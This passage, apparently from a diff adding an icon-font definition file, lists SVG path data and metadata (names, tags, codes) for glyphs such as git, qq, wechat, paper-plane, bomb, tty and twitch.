62.286-18.857zM656 84c0 42.857-33.143 82.857-77.143 82.857-45.143 0-78.857-39.429-78.857-82.857 0-44 33.143-84 78.857-84 45.143 0 77.143 41.143 77.143 84z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "git" + ], + "defaultCode": 61907, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "git", + "id": 424, + "order": 1280, + "prevSize": 28, + "code": 61907 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 424 + }, + { + "icon": { + "paths": [ + "M462.286 573.714l152-285.143h-64l-89.714 178.286s-13.714 27.429-25.143 52.571c-10.857-26.286-24-52.571-24-52.571l-88.571-178.286h-68.571l150.286 281.714v185.143h57.714v-181.714zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hacker-news", + "y-combinator-square", + "yc-square" + ], + "defaultCode": 61908, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hacker-news, y-combinator-square, yc-square", + "id": 425, + "order": 1281, + "prevSize": 28, + "code": 61908 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 425 + }, + { + "icon": { + "paths": [ + "M481.143 326.857c0 60.571-49.714 110.286-110.286 110.286-23.429 0-45.143-7.429-63.429-20-20.571 22.286-43.429 50.286-65.714 83.429-93.143 140-132.571 305.143-115.429 490.857 1.143 16.571-10.857 30.857-26.857 32.571h-2.857c-14.857 0-28-11.429-29.714-26.857-22.286-250.286 57.143-427.429 127.429-532 25.714-38.286 51.429-69.143 75.429-94.286-6.286-13.714-9.143-28.571-9.143-44 0-61.143 49.143-110.286 110.286-110.286 60.571 0 110.286 49.143 110.286 110.286zM698.857 333.143c0 183.429-149.143 332.571-333.143 332.571-25.143 0-50.286-2.857-74.857-8-16-4-25.714-20-22.286-36 4-15.429 19.429-25.714 35.429-22.286 20 5.143 41.143 7.429 61.714 7.429 150.857 0 273.714-122.857 273.714-273.714s-122.857-273.714-273.714-273.714-273.714 122.857-273.714 273.714c0 44 10.286 85.714 29.714 124.571 7.429 14.857 1.714 32.571-12.571 40-14.857 7.429-32.571 1.714-40-13.143-24-46.286-36.571-98.857-36.571-151.429 0-184 149.714-333.143 333.143-333.143 184 0 333.143 149.143 333.143 333.143z" + ], + "width": 731.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tencent-weibo" + ], + "defaultCode": 61909, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "tencent-weibo", + "id": 426, + "order": 1282, + "prevSize": 28, + "code": 61909 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 426 + }, + { + "icon": { + "paths": [ + "M154.286 460.571c-4-9.714-4.571-19.429-4.571-29.714 0-16 10.286-41.714 20-53.714-0.571-14.857 5.714-45.143 17.143-54.857 0-105.714 81.714-238.857 177.143-284.571 58.857-28 120.571-37.714 185.143-37.714 50.286 0 105.143 12 152 31.429 134.286 56.571 164.571 161.714 193.143 296l0.571 2.857c16.571 25.143 31.429 54.857 31.429 85.714 0 15.429-10.286 30.857-10.286 44.571 0 1.143 3.429 5.714 4 6.857 49.143 72.571 93.714 151.429 93.714 241.714 0 20-10.857 89.714-42.857 89.714-22.286 0-46.857-54.286-54.857-69.143-0.571-0.571-1.143-0.571-1.714-0.571l-2.857 2.286c-18.286 47.429-38.286 92-75.429 127.429 32.571 31.429 85.143 28.571 94.857 82.857-2.857 6.286-1.714 13.143-6.286 19.429-32.571 49.143-120 55.429-172.571 55.429-69.714 0-126.286-18.286-192-37.714-13.714-4-34.286-1.714-49.143-3.429-34.857 38.286-120 48.571-169.143 48.571-43.429 0-211.429-2.857-211.429-77.143 0-32 6.857-41.143 29.143-61.714 17.714-3.429 30.857-13.143 51.429-14.286 2.857 0 5.143-0.571 8-1.143 0.571-0.571 1.143-0.571 1.143-2.286l-1.143-1.714c-39.429-9.143-94.857-108.571-103.429-149.714l-2.857-1.714c-4 0-5.714 8.571-6.857 11.429-12.571 29.143-42.286 60.571-75.429 64h-0.571c-4.571 0-2.857-4.571-6.286-5.714-8-18.857-13.143-36-13.143-57.143 0-114.286 54.857-198.857 144-266.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "qq" + ], + "defaultCode": 61910, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "qq", + "id": 427, + "order": 1283, + "prevSize": 28, + "code": 61910 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 427 + }, + { + "icon": { + "paths": [ + "M331.429 263.429c0-31.429-20.571-52-52-52-30.857 0-62.286 20.571-62.286 52 0 30.857 31.429 51.429 62.286 51.429 31.429 0 52-20.571 52-51.429zM756 553.143c0-20.571-20.571-41.143-52-41.143-20.571 0-41.143 20.571-41.143 41.143 0 21.143 20.571 41.714 41.143 41.714 31.429 0 52-20.571 52-41.714zM621.143 263.429c0-31.429-20.571-52-51.429-52-31.429 0-62.286 20.571-62.286 52 0 30.857 30.857 51.429 62.286 51.429 30.857 0 51.429-20.571 51.429-51.429zM984 553.143c0-20.571-21.143-41.143-52-41.143-20.571 0-41.143 20.571-41.143 41.143 0 21.143 20.571 41.714 41.143 41.714 30.857 0 52-20.571 52-41.714zM832 326.286c-13.143-1.714-26.286-2.286-40-2.286-196.571 0-352 146.857-352 327.429 0 30.286 4.571 59.429 13.143 86.857-13.143 1.143-25.714 1.714-38.857 1.714-52 0-93.143-10.286-145.143-20.571l-144.571 72.571 41.143-124.571c-103.429-72.571-165.714-166.286-165.714-280 0-197.143 186.286-352 414.286-352 203.429 0 382.286 124 417.714 290.857zM1170.286 646.857c0 93.143-61.714 176-145.143 238.286l31.429 103.429-113.714-62.286c-41.714 10.286-83.429 21.143-124.571 21.143-197.143 0-352-134.857-352-300.571s154.857-300.571 352-300.571c186.286 0 352 134.857 352 300.571z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wechat", + "weixin" + ], + "defaultCode": 61911, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "wechat, weixin", + "id": 428, + "order": 1284, + "prevSize": 28, + "code": 61911 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 428 + }, + { + "icon": { + "paths": [ + "M1008 6.286c12 8.571 17.714 22.286 15.429 36.571l-146.286 877.714c-1.714 10.857-8.571 20-18.286 25.714-5.143 2.857-11.429 4.571-17.714 4.571-4.571 0-9.143-1.143-13.714-2.857l-258.857-105.714-138.286 168.571c-6.857 8.571-17.143 13.143-28 13.143-4 0-8.571-0.571-12.571-2.286-14.286-5.143-24-18.857-24-34.286v-199.429l493.714-605.143-610.857 528.571-225.714-92.571c-13.143-5.143-21.714-17.143-22.857-31.429-0.571-13.714 6.286-26.857 18.286-33.714l950.857-548.571c5.714-3.429 12-5.143 18.286-5.143 7.429 0 14.857 2.286 20.571 6.286z" + ], + "width": 1025.1702857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "paper-plane", + "send" + ], + "defaultCode": 61912, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "paper-plane, send", + "id": 429, + "order": 1285, + "prevSize": 28, + "code": 61912 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 429 + }, + { + "icon": { + "paths": [ + "M1008 6.286c12 8.571 17.714 22.286 15.429 36.571l-146.286 877.714c-1.714 10.857-8.571 20-18.286 25.714-5.143 2.857-11.429 4.571-17.714 4.571-4.571 0-9.143-1.143-13.714-2.857l-301.143-122.857-170.286 186.857c-6.857 8-16.571 12-26.857 12-4.571 0-9.143-0.571-13.143-2.286-14.286-5.714-23.429-19.429-23.429-34.286v-258.286l-269.714-110.286c-13.143-5.143-21.714-17.143-22.857-31.429-1.143-13.714 6.286-26.857 18.286-33.714l950.857-548.571c12-7.429 27.429-6.857 38.857 1.143zM812.571 862.857l126.286-756-819.429 472.571 192 78.286 493.143-365.143-273.143 455.429z" + ], + "width": 1024.5851428571427, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "paper-plane-o", + "send-o" + ], + "defaultCode": 61913, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "paper-plane-o, send-o", + "id": 430, + "order": 1286, + "prevSize": 28, + "code": 61913 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 430 + }, + { + "icon": { + "paths": [ + "M877.714 512c0 241.714-197.143 438.857-438.857 438.857-130.857 0-254.286-57.714-337.714-158.286-5.714-7.429-5.143-18.286 1.143-24.571l78.286-78.857c4-3.429 9.143-5.143 14.286-5.143 5.143 0.571 10.286 2.857 13.143 6.857 56 72.571 140 113.714 230.857 113.714 161.143 0 292.571-131.429 292.571-292.571s-131.429-292.571-292.571-292.571c-74.857 0-145.714 28.571-198.857 78.286l78.286 78.857c10.857 10.286 13.714 26.286 8 39.429-5.714 13.714-18.857 22.857-33.714 22.857h-256c-20 0-36.571-16.571-36.571-36.571v-256c0-14.857 9.143-28 22.857-33.714 13.143-5.714 29.143-2.857 39.429 8l74.286 73.714c80.571-76 189.714-121.143 302.286-121.143 241.714 0 438.857 197.143 438.857 438.857zM512 347.429v256c0 10.286-8 18.286-18.286 18.286h-182.857c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h128v-201.143c0-10.286 8-18.286 18.286-18.286h36.571c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "history" + ], + "defaultCode": 61914, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "history", + "id": 431, + "order": 1287, + "prevSize": 28, + "code": 61914 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 431 + }, + { + "icon": { + "paths": [ + "M438.857 146.286c-201.714 0-365.714 164-365.714 365.714s164 365.714 365.714 365.714 365.714-164 365.714-365.714-164-365.714-365.714-365.714zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857v0c242.286 0 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "circle-thin" + ], + "defaultCode": 61915, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "circle-thin", + "id": 432, + "order": 1288, + "prevSize": 28, + "code": 61915 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 432 + }, + { + "icon": { + "paths": [ + "M961.143 950.857c-50.286 0-101.143-4-152-4-50.286 0-100.571 4-150.857 4-19.429 0-28.571-21.143-28.571-37.714 0-50.857 57.143-29.143 86.857-48.571 18.857-12 18.857-60 18.857-80l-0.571-223.429c0-6.286 0-12-0.571-17.714-9.143-2.857-19.429-2.286-28.571-2.286h-385.714c-9.714 0-20-0.571-29.143 2.286-0.571 5.714-0.571 11.429-0.571 17.714l-0.571 212c0 21.714 0 81.143 21.143 93.714 29.714 18.286 97.143-7.429 97.143 44 0 17.143-8 40-28 40-53.143 0-106.286-4-158.857-4-48.571 0-97.143 4-145.714 4-18.857 0-27.429-21.714-27.429-37.714 0-49.714 52.571-29.143 80.571-48.571 18.286-12.571 18.857-61.714 18.857-81.714l-0.571-32.571v-464.571c0-27.429 4-115.429-21.714-130.857-28.571-17.714-89.714 9.714-89.714-41.714 0-16.571 7.429-40 27.429-40 52.571 0 105.714 4 158.286 4 48 0 96.571-4 144.571-4 20.571 0 28.571 22.857 28.571 40 0 49.143-56.571 25.143-84.571 42.857-20 12-20 70.857-20 91.429l0.571 182.857c0 6.286 0 12 0.571 18.286 7.429 1.714 14.857 1.714 22.286 1.714h399.429c6.857 0 14.286 0 21.714-1.714 0.571-6.286 0.571-12 0.571-18.286l0.571-182.857c0-21.143 0-79.429-20-91.429-28.571-17.143-85.714 5.714-85.714-42.857 0-17.143 8-40 28.571-40 50.286 0 100.571 4 150.857 4 49.143 0 98.286-4 147.429-4 20.571 0 28.571 22.857 28.571 40 0 49.714-58.857 24.571-87.429 42.286-19.429 12.571-20 71.429-20 92l0.571 538.857c0 18.857 1.143 68.571 19.429 80 29.143 18.286 90.857-5.143 90.857 44.571 0 16.571-7.429 40-27.429 40z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "header" + ], + "defaultCode": 61916, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "header", + "id": 433, + "order": 1289, + "prevSize": 28, + "code": 61916 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 433 + }, + { + "icon": { + "paths": [ + "M730.286 108v41.714c0 19.429-15.429 53.143-34.857 53.143-9.714 0-21.143-1.714-30.857 0.571-9.143 2.286-16 8.571-18.286 17.714-2.857 10.857-1.714 24.571-1.714 36.571v658.286c0 19.429-15.429 34.857-34.857 34.857h-61.714c-19.429 0-34.857-15.429-34.857-34.857v-696h-81.714v696c0 19.429-15.429 34.857-34.857 34.857h-61.714c-19.429 0-34.857-15.429-34.857-34.857v-283.429c-55.429-4.571-102.857-16-140-33.714-48-22.286-84.571-56.571-109.714-102.286-24-44-36.571-93.714-36.571-148 0-63.429 17.143-118.286 50.286-163.429 33.714-45.143 73.714-75.429 119.429-90.857 42.857-14.286 133.143-21.143 238.286-21.143h273.714c19.429 0 34.857 15.429 34.857 34.857z" + ], + "width": 744.0091428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "paragraph" + ], + "defaultCode": 61917, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "paragraph", + "id": 434, + "order": 1290, + "prevSize": 28, + "code": 61917 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 434 + }, + { + "icon": { + "paths": [ + "M201.143 804.571v73.143h-201.143v-73.143h201.143zM402.286 731.429c20 0 36.571 16.571 36.571 36.571v146.286c0 20-16.571 36.571-36.571 36.571h-146.286c-20 0-36.571-16.571-36.571-36.571v-146.286c0-20 16.571-36.571 36.571-36.571h146.286zM493.714 512v73.143h-493.714v-73.143h493.714zM128 219.429v73.143h-128v-73.143h128zM877.714 804.571v73.143h-420.571v-73.143h420.571zM329.143 146.286c20 0 36.571 16.571 36.571 36.571v146.286c0 20-16.571 36.571-36.571 36.571h-146.286c-20 0-36.571-16.571-36.571-36.571v-146.286c0-20 16.571-36.571 36.571-36.571h146.286zM694.857 438.857c20 0 36.571 16.571 36.571 36.571v146.286c0 20-16.571 36.571-36.571 36.571h-146.286c-20 0-36.571-16.571-36.571-36.571v-146.286c0-20 16.571-36.571 36.571-36.571h146.286zM877.714 512v73.143h-128v-73.143h128zM877.714 219.429v73.143h-493.714v-73.143h493.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sliders" + ], + "defaultCode": 61918, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sliders", + "id": 435, + "order": 1291, + "prevSize": 28, + "code": 61918 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 435 + }, + { + "icon": { + "paths": [ + "M694.857 585.143c101.143 0 182.857 81.714 182.857 182.857s-81.714 182.857-182.857 182.857-182.857-81.714-182.857-182.857c0-6.286 0.571-13.143 1.143-19.429l-205.714-102.857c-32.571 30.286-76.571 49.143-124.571 49.143-101.143 0-182.857-81.714-182.857-182.857s81.714-182.857 182.857-182.857c48 0 92 18.857 124.571 49.143l205.714-102.857c-0.571-6.286-1.143-13.143-1.143-19.429 0-101.143 81.714-182.857 182.857-182.857s182.857 81.714 182.857 182.857-81.714 182.857-182.857 182.857c-48 0-92-18.857-124.571-49.143l-205.714 102.857c0.571 6.286 1.143 13.143 1.143 19.429s-0.571 13.143-1.143 19.429l205.714 102.857c32.571-30.286 76.571-49.143 124.571-49.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "share-alt" + ], + "defaultCode": 61920, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "share-alt", + "id": 436, + "order": 1292, + "prevSize": 28, + "code": 61920 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 436 + }, + { + "icon": { + "paths": [ + "M731.429 682.857c0-67.429-54.857-122.286-121.714-122.286-32 0-61.143 12.571-82.857 33.143l-137.714-68.571c0.571-4.571 1.143-8.571 1.143-13.143s-0.571-8.571-1.143-13.143l137.714-68.571c21.714 20.571 50.857 33.143 82.857 33.143 66.857 0 121.714-54.857 121.714-122.286 0-66.857-54.857-121.714-121.714-121.714-67.429 0-122.286 54.857-122.286 121.714 0 4.571 0.571 8.571 1.143 13.143l-137.714 68.571c-21.714-20-50.857-32.571-82.857-32.571-66.857 0-121.714 54.286-121.714 121.714s54.857 121.714 121.714 121.714c32 0 61.143-12.571 82.857-32.571l137.714 68.571c-0.571 4.571-1.143 8.571-1.143 13.143 0 66.857 54.857 121.714 122.286 121.714 66.857 0 121.714-54.857 121.714-121.714zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "share-alt-square" + ], + "defaultCode": 61921, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "share-alt-square", + "id": 437, + "order": 1293, + "prevSize": 28, + "code": 61921 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 437 + }, + { + "icon": { + "paths": [ + "M326.286 336.571c-7.429-18.857-28.571-27.429-47.429-20-82.286 33.143-148.571 99.429-181.714 181.714-7.429 18.857 1.143 40 20 47.429 4.571 1.714 9.143 2.857 13.714 2.857 14.857 0 28-8.571 34.286-22.857 25.714-64 77.143-115.429 141.143-141.143 18.857-8 28-29.143 20-48zM864.571 133.143l26.286 26.286-139.429 138.857 38.857 38.857c14.286 14.286 14.286 37.714 0 52l-36.571 36.571c32 57.714 50.857 124.571 50.857 196 0 222.286-180 402.286-402.286 402.286s-402.286-180-402.286-402.286 180-402.286 402.286-402.286c71.429 0 138.286 18.857 196 50.857l36.571-36.571c14.286-14.286 37.714-14.286 52 0l38.857 38.857zM869.143 101.143c-3.429 3.429-8 5.714-12.571 5.714-5.143 0-9.714-2.286-13.143-5.714l-52-51.429c-6.857-7.429-6.857-18.857 0-26.286 7.429-6.857 18.857-6.857 26.286 0l51.429 52c7.429 6.857 7.429 18.857 0 25.714zM1000.571 232.571c-4 3.429-8.571 5.143-13.143 5.143s-9.143-1.714-13.143-5.143l-51.429-52c-7.429-6.857-7.429-18.857 0-25.714 6.857-7.429 18.857-7.429 25.714 0l52 51.429c6.857 7.429 6.857 18.857 0 26.286zM1024 128c0 10.286-8 18.286-18.286 18.286h-54.857c-10.286 0-18.286-8-18.286-18.286s8-18.286 18.286-18.286h54.857c10.286 0 18.286 8 18.286 18.286zM914.286 18.286v54.857c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286v-54.857c0-10.286 8-18.286 18.286-18.286s18.286 8 18.286 18.286zM1000.571 49.714l-52 51.429c-3.429 3.429-8 5.714-12.571 5.714-5.143 0-9.714-2.286-13.143-5.714-7.429-6.857-7.429-18.857 0-25.714l51.429-52c7.429-6.857 18.857-6.857 26.286 0 6.857 7.429 6.857 18.857 0 26.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bomb" + ], + "defaultCode": 61922, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bomb", + "id": 438, + "order": 1294, + "prevSize": 28, + "code": 61922 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 438 + }, + { + "icon": { + "paths": [ + "M348 466.286l164-118.857 164 118.857-62.286 192h-202.857zM512 0c282.857 0 512 229.143 512 512s-229.143 512-512 512-512-229.143-512-512 229.143-512 512-512zM865.714 771.429c53.714-73.143 85.143-162.286 85.143-259.429v-1.714l-58.286 50.857-137.143-128 36-184.571 76.571 6.857c-54.286-74.857-132-132.571-222.286-161.143l30.286 70.857-164 90.857-164-90.857 30.286-70.857c-90.286 28.571-168 86.286-222.286 161.143l77.143-6.857 35.429 184.571-137.143 128-58.286-50.857v1.714c0 97.143 31.429 186.286 85.143 259.429l17.143-75.429 186.286 22.857 79.429 170.286-66.286 39.429c42.857 14.286 89.143 22.286 137.143 22.286s94.286-8 137.143-22.286l-66.286-39.429 79.429-170.286 186.286-22.857z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "futbol-o", + "soccer-ball-o" + ], + "defaultCode": 61923, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "futbol-o, soccer-ball-o", + "id": 439, + "order": 1295, + "prevSize": 28, + "code": 61923 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 439 + }, + { + "icon": { + "paths": [ + "M256 749.714v109.714c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286zM146.286 530.286v109.714c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286zM475.429 749.714v109.714c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286zM365.714 530.286v109.714c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286zM37.714 438.857c-21.143 0-37.714-16.571-37.714-37.143v-73.714h293.714v73.714c0 20.571-16.571 37.143-37.143 37.143h-218.857zM694.857 749.714v109.714c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286zM585.143 530.286v109.714c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286zM914.286 749.714v109.714c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286zM804.571 530.286v109.714c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286zM1024 297.143v7.429h-293.714v-5.714c0-21.143-18.286-59.429-218.286-58.286-200 0.571-218.286 37.143-218.286 58.286v5.714h-293.714v-7.429c0-38.286 68.571-224 512-224 442.857 0 512 185.714 512 224zM1024 530.286v109.714c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286zM1024 328v73.714c0 20.571-16.571 37.143-37.143 37.143h-219.429c-20.571 0-37.143-16.571-37.143-37.143v-73.714h293.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tty" + ], + "defaultCode": 61924, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "tty", + "id": 440, + "order": 1296, + "prevSize": 28, + "code": 61924 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 440 + }, + { + "icon": { + "paths": [ + "M402.286 182.857v438.857c0 20-16.571 36.571-36.571 36.571v0 329.143c0 20-16.571 36.571-36.571 36.571h-292.571c-20 0-36.571-16.571-36.571-36.571v-292.571l142.286-498.857c2.286-8 9.714-13.143 17.714-13.143h242.286zM585.143 182.857v402.286h-146.286v-402.286h146.286zM1024 694.857v292.571c0 20-16.571 36.571-36.571 36.571h-292.571c-20 0-36.571-16.571-36.571-36.571v-329.143c-20 0-36.571-16.571-36.571-36.571v-438.857h242.286c8 0 15.429 5.143 17.714 13.143zM420.571 18.286v128h-201.143v-128c0-10.286 8-18.286 18.286-18.286h164.571c10.286 0 18.286 8 18.286 18.286zM804.571 18.286v128h-201.143v-128c0-10.286 8-18.286 18.286-18.286h164.571c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "binoculars" + ], + "defaultCode": 61925, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "binoculars", + "id": 441, + "order": 1297, + "prevSize": 28, + "code": 61925 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 441 + }, + { + "icon": { + "paths": [ + "M1002.857 258.857c28 28.571 28 74.857 0 103.429l-229.143 228.571 85.714 85.714-91.429 91.429c-125.143 125.143-316 142.857-457.714 49.143l-206.857 206.857h-103.429v-103.429l206.857-206.857c-93.714-141.714-76-332.571 49.143-457.714l91.429-91.429 85.714 85.714 228.571-229.143c28.571-28 74.857-28 103.429 0 28.571 28.571 28.571 75.429 0 103.429l-228.571 229.143 133.714 133.714 229.143-228.571c28.571-28.571 74.857-28.571 103.429 0z" + ], + "width": 1030.8754285714285, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "plug" + ], + "defaultCode": 61926, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "plug", + "id": 442, + "order": 1298, + "prevSize": 28, + "code": 61926 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 442 + }, + { + "icon": { + "paths": [ + "M498.857 422.857c0 63.429-55.429 115.429-123.429 115.429s-123.429-52-123.429-115.429c0-64 55.429-115.429 123.429-115.429s123.429 51.429 123.429 115.429zM785.714 422.857c0 63.429-54.857 115.429-123.429 115.429-68 0-123.429-52-123.429-115.429 0-64 55.429-115.429 123.429-115.429 68.571 0 123.429 51.429 123.429 115.429zM914.286 525.714v-381.143c0-65.714-21.143-91.429-81.714-91.429h-635.429c-63.429 0-81.143 21.714-81.143 91.429v384.571c135.429 70.857 251.429 58.286 314.857 56 26.857-0.571 44 4.571 54.286 15.429 1.714 1.714 3.429 3.429 5.714 5.143 12 11.429 23.429 20.571 34.857 29.143 2.286-31.429 20-51.429 67.429-49.714 64.571 2.857 183.429 15.429 321.143-59.429zM1007.429 522.857c-36.571 45.143-106.286 100.571-212.571 144 112.571 383.429-274.857 444.571-268.571 248 0 3.429-0.571-105.714-0.571-186.857-8.571-1.714-17.143-4-27.429-6.286 0 81.714-0.571 196.571-0.571 193.143 6.286 196.571-381.143 135.429-268.571-248-106.286-43.429-176-98.857-212.571-144-18.286-27.429 1.714-56.571 32-35.429 4 2.857 8.571 5.714 12.571 8.571v-396.571c0-54.857 41.143-99.429 92-99.429h718.286c50.857 0 92 44.571 92 99.429v396.571l12-8.571c30.286-21.143 50.286 8 32 35.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "slideshare" + ], + "defaultCode": 61927, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "slideshare", + "id": 443, + "order": 1299, + "prevSize": 28, + "code": 61927 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 443 + }, + { + "icon": { + "paths": [ + "M512 248v248h-82.857v-248h82.857zM739.429 248v248h-82.857v-248h82.857zM739.429 682.286l144.571-145.143v-454.286h-682.286v599.429h186.286v124l124-124h227.429zM966.857 0v578.857l-248 248h-186.286l-124 124h-124v-124h-227.429v-661.714l62.286-165.143h847.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "twitch" + ], + "defaultCode": 61928, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "twitch", + "id": 444, + "order": 1300, + "prevSize": 28, + "code": 61928 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 444 + }, + { + "icon": { + "paths": [ + "M441.714 753.714v72.571c-0.571 161.143-0.571 166.857-3.429 174.286-4.571 12-14.857 20-29.143 22.857-41.143 6.857-169.714-40.571-196.571-72.571-5.714-6.286-8.571-13.714-9.714-20.571-0.571-5.143 0.571-10.286 2.286-14.857 2.857-8 8-14.286 122.857-150.286 0 0 0.571 0 34.286-40 11.429-14.286 32-18.857 50.857-12 18.857 7.429 29.143 23.429 28.571 40.571zM356.571 610.286c-1.143 20-12.571 34.857-29.714 40l-68.571 22.286c-153.714 49.143-158.857 50.286-166.857 50.286-12.571-0.571-24-8-30.857-20.571-4.571-9.143-8-24.571-9.714-42.857-6.286-56 1.143-140 17.714-166.286 8-12.571 19.429-18.857 32-18.286 8.571 0 15.429 3.429 181.143 70.857 0 0-0.571 0.571 48 19.429 17.143 6.857 28 24.571 26.857 45.143zM828.571 780c-5.714 41.143-90.857 149.143-129.714 164.571-13.143 5.143-26.286 4-36-4-6.857-5.143-13.714-15.429-105.143-164l-26.857-44c-10.286-16-8.571-36.571 4.571-52.571 12.571-15.429 30.857-20.571 47.429-14.857 0 0 0.571 0.571 68 22.857 153.714 50.286 158.857 52 165.143 57.143 10.286 8 14.857 20 12.571 34.857zM444.571 418.857c2.857 59.429-22.286 66.857-30.857 69.714-8 2.286-33.143 9.714-65.143-40.571-210.286-332-216-341.714-216-341.714-2.857-12 0.571-25.143 10.857-35.429 31.429-32.571 